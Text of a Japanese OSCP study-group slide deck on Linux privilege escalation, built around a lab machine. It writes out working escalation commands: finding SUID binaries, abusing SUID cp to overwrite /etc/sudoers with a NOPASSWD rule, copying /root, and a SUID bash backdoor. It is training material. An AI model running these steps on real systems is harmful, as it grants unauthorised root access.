Slide 1

Slide 1 text

Linuxでの権限昇格 2023/03/24 OSCP勉強会 きとう

Slide 2

Slide 2 text

自己紹介 なまえ • きとう、てきとう、tkito • Twitter: @tkito しゅみ • ゲームしたり海に潜ったり徳を積んだり 2 おしごと • 企業でSOCの中の人とかIRとか Linuxでの権限昇格

Slide 3

Slide 3 text

おことわり Linuxでの権限昇格 3 OSCP(PEN-200)勉強中の者が学んだ内容を 発表するものです どうかマサカリはおしまいください でも間違いがあったら教えてください

Slide 4

Slide 4 text

権限昇格 非特権ユーザーから特権ユーザーになること • 非特権ユーザー • 一般ユーザーのこと • 特権ユーザー • 一般ユーザーができないことをできる高い権限を持ったユーザー • Linuxだとroot • WindowsだとAdministratorとかSYSTEM • 今回はLinuxでのお話 Linuxでの権限昇格 4

Slide 5

Slide 5 text

offsec-1-overtureにおける権限昇格 root権限のユーザを追加 Linuxでの権限昇格 5 /bin/cpに SUIDビット SUIDの立った プログラムの探索 /bin/cpで /etc/passwdを上書き root権限を持った ユーザを追加した passwdを用意 追加した ユーザでログイン 昇格!

Slide 6

Slide 6 text

offsec-1-overtureにおける権限昇格 むずかしくない…? Linuxでの権限昇格 6 /bin/cpに SUIDビット SUIDの立った プログラムの探索 /bin/cpで /etc/passwdを上書き root権限を持った ユーザを追加した passwdを用意 追加した ユーザでログイン 昇格! • ここすごい閃きだと思う • /bin/cpじゃなくて別のだったら? パターン整理していくと何か知見が 得られるかも!?

Slide 7

Slide 7 text

権限昇格に使われる手法の整理 権限昇格までの手順をパーツに分けてパターンを整理してみる(WIP) Linuxでの権限昇格 7 ここに至るパスを 考えていけばいい

Slide 8

Slide 8 text

Linuxでの権限昇格 8 ①/bin/cpにSUID ②ファイル書込可 ③/etc/passwdに追加 ④ログイン ⑤昇格完了

Slide 9

Slide 9 text

offsec-1-overture 別解 攻略の流れ • find / -type f -perm –u=s 2>/dev/null SUIDビットの立ったプログラムを探索 /bin/cpを確認 • cp /etc/sudoers /tmp/ /etc/sudoersをコピー • cat /tmp/sudoers > /tmp/sudoers2 編集のために自分をownerに • echo “apache ALL=NOPASSWD:ALL” >> /tmp/sudoers2 Pass無しでsudoできる魔法の言葉 • cp /tmp/sudoers2 /etc/sudoers /etc/sudoersに書き戻し • sudo su – sudoでrootに • cat /root/flag.txt フラグゲット Linuxでの権限昇格 9

Slide 10

Slide 10 text

Linuxでの権限昇格 10

Slide 11

Slide 11 text

offsec-1-overture 別解(邪道) 攻略の流れ • find / -type f -perm –u=s 2>/dev/null SUIDビットの立ったプログラムを探索 /bin/cpを確認 • cp -rv /root /tmp/ /rootをごっそりコピー • cat /tmp/root/flag.txt フラグゲット • CTFならいいけどOSCPではダメ Linuxでの権限昇格 11

Slide 12

Slide 12 text

おまけ SUIDを使って直接root権限を得る方法(overtureの攻略には使えない) • [*rootで*] • cp /bin/bash /tmp/bash bashをコピーして • chmod u+s /tmp/bash SUIDを立てる • [*non-rootで*] • /tmp/bash -p euid(effective uid)が0になりrootと同じ権限を得る • でもrootでコマンド実行させられる状況ならreverse shell使った方がいい気が… Linuxでの権限昇格 12

Slide 13

Slide 13 text

まとめ • 権限昇格へのパスを一発で思いつける人すごいな! • Linuxでの権限昇格までの手順をパーツに分けて整理してみた(WIP) • 取り掛かりポイントが見つかったら権限昇格に向かって辿っていくとパスが出る • overtureの別解紹介 • パターン拡充していこう • Windowsでもやってみようか • みなさんのやり方とか工夫とか教えてください Linuxでの権限昇格 13

Slide 14

Slide 14 text

おしまい きとう @tkito 14